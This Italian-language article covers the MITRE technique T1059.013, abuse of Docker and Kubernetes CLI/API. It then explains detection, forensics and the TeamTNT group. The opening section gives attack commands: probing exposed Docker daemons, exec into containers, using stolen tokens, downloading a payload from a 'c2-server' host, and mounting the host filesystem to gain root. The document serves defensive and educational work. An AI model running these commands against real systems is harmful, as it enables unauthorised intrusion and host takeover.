Container CLI/API: Command Injection (T1059.013)

L'accesso non autorizzato alle API dei container inizia tipicamente con la ricerca di endpoint esposti. Il Docker daemon ascolta di default sulla porta 2375 (non cifrata) o 2376 (TLS), mentre l'API di Kubernetes risponde sulla 6443.

Per verificare l'esposizione del Docker daemon, utilizza: curl -s http://target:2375/version | jq

Se l'endpoint risponde, puoi elencare i container attivi con docker -H tcp://target:2375 ps oppure eseguire comandi arbitrari all'interno di un container esistente tramite docker -H tcp://target:2375 exec -it container_id /bin/bash.

L'approccio Kubernetes richiede prima l'enumerazione del cluster. Con credenziali valide o un token di servizio compromesso: kubectl --server=https://target:6443 --token=$TOKEN get pods --all-namespaces

Gli attaccanti spesso sfruttano immagini legittime che includono tool utili. Ad esempio, pulling di un'immagine Alpine con curl preinstallato: docker -H tcp://target:2375 run -it alpine/curl sh

Una volta dentro il container, il download di payload diventa immediato attraverso curl http://c2-server/payload.sh -o /tmp/payload.sh.

Per simulare tecniche più sofisticate, considera l'utilizzo di SDK Python:

import docker
client = docker.DockerClient(base_url='tcp://target:2375')
container = client.containers.run("ubuntu", "echo hello", detach=True)

L'escalation avviene spesso montando il filesystem host all'interno del container: docker -H tcp://target:2375 run -v /:/host -it ubuntu chroot /host

Questo approccio garantisce accesso root completo al sistema host sottostante. Per Kubernetes, l'abuso di pod privilegiati segue pattern simili attraverso manifest YAML crafted ad-hoc.

Il rilevamento efficace richiede monitoraggio multi-layer delle interazioni con container runtime. La detection rule DET0083 evidenzia pattern anomali nell'uso di Docker e Kubernetes CLI/API.

Configura alert basati su comandi critici nei log di auditd. I syscall da monitorare includono execve per esecuzioni di docker/kubectl da contesti non autorizzati. Pattern come "docker exec" seguito da shell spawn indicano potenziale compromissione.

I log di Docker events forniscono visibilità granulare. Eventi come "container.exec_create" e "container.exec_start" da host non appartenenti alla pipeline CI/CD dovrebbero generare alert immediati. Implementa whitelist per AuthorizedUserAgents che includano solo runner autorizzati e tool SRE.

Per Kubernetes, l'audit log dell'API server è fondamentale. Query come:

verb="create" AND objectRef.resource="pods" AND user.username NOT IN authorized_users

Il parametro TimeWindow di 2 minuti correla efficacemente exec con attività di rete successive. Riduci i falsi positivi tuning NewImageThreshold basandoti sulla frequenza di deploy della tua organizzazione.

AWS CloudTrail cattura chiamate API ECS/EKS. Eventi come "RunTask" o "ExecuteCommand" da principali non autorizzati richiedono investigazione immediata. Correla questi eventi con modifiche ai security group che espongono porte container.

L'assenza di TTY/PTY nelle shell spawn rappresenta un indicatore forte. Il parametro InteractiveSessionExpectation permette di distinguere automazione legittima da accesso manuale sospetto. Shell non interattive da IP esterni sono red flag critici.

La ricostruzione forense inizia dall'analisi dei log del container runtime. Il file /var/log/docker.log contiene timestamp precisi di ogni operazione, mentre /var/lib/docker/containers/[container-id]/[container-id]-json.log preserva l'output dei comandi eseguiti.

Gli artefatti di auditd forniscono contesto prezioso. Cerca pattern di execve con argv contenenti "docker exec" o "kubectl exec", correlando PID e timestamp con altre attività di sistema. La sequenza tipica mostra autenticazione API, seguito da container spawn e successive operazioni di discovery.

Per Kubernetes, /var/log/kube-apiserver-audit.log registra ogni interazione con il control plane. Eventi "ResponseComplete" con statusCode 201 indicano creazione riuscita di risorse. La timeline spesso rivela:

1. Reconnaissance iniziale via "kubectl get" commands
2. Creazione pod con montaggio hostPath
3. Esecuzione comandi nel pod privilegiato
4. Esfiltrazione dati o persistence establishment

I container layer forniscono snapshot dello stato filesystem. Usa docker diff container_id per identificare file modificati. Directory come /tmp o /var/tmp dentro il container spesso contengono tool scaricati o script di attacco.

L'analisi delle immagini pulled rivela TTP dell'attaccante. Il comando docker history image_id mostra i layer e i comandi utilizzati per costruire l'immagine. Immagini con curl, wget o netcat preinstallati indicano preparazione per lateral movement.

Memory dumps di container possono essere estratti via /proc/[pid]/mem. Tool come volatility supportano l'analisi di namespace Linux, permettendo recovery di comandi eseguiti e connessioni di rete stabilite durante la compromissione.

TeamTNT emerge come specialista nell'abuso di infrastrutture container mal configurate. Il gruppo target sistematicamente Docker daemon esposti senza autenticazione, utilizzando scanner automatizzati per identificare porta 2375 aperta su range IP pubblici.

Le TTP di TeamTNT mostrano evoluzione costante nelle capacità di container exploitation. Il gruppo utilizza script custom che combinano reconnaissance, exploitation e cryptomining deployment in workflow automatizzati. La loro infrastruttura C2 sfrutta domini compromessi e server bulletproof hosting nell'Europa dell'Est.

Pattern geografici indicano focus su cloud provider minori e self-hosted Kubernetes cluster. Le vittime includono startup, università e organizzazioni con rapid cloud adoption ma security maturity limitata. TeamTNT monetizza attraverso cryptomining, concentrandosi su Monero per l'anonimato delle transazioni.

L'overlap nei tool mostra preferenza per:

• Masscan per scanning veloce di subnet
• Custom Python scripts per Docker API interaction
• XMRig per mining deployment
• IRC botnet per command and control

Le campagne documentate rivelano timing patterns. TeamTNT opera principalmente durante weekend e holiday periods quando il monitoring è ridotto. Post-exploitation, installano backdoor persistenti via cron jobs o systemd services nei container compromessi.

Prevedi evoluzione verso:

• Targeting di managed Kubernetes services (EKS, GKE, AKS)
• Supply chain attacks via poisoned container images
• Ransomware deployment oltre al cryptomining
• Collaborazione con altri gruppi cybercriminali per accesso iniziale

Framework MITRE ATT&CK documenta la tecnica T1059.013 con focus su abuso di Docker e Kubernetes CLI/API. TeamTNT campaigns analysis disponibile nei threat intelligence report di Trend Micro e Palo Alto Networks. Detection strategies basate su Kubernetes audit log best practices e Docker security guidelines ufficiali.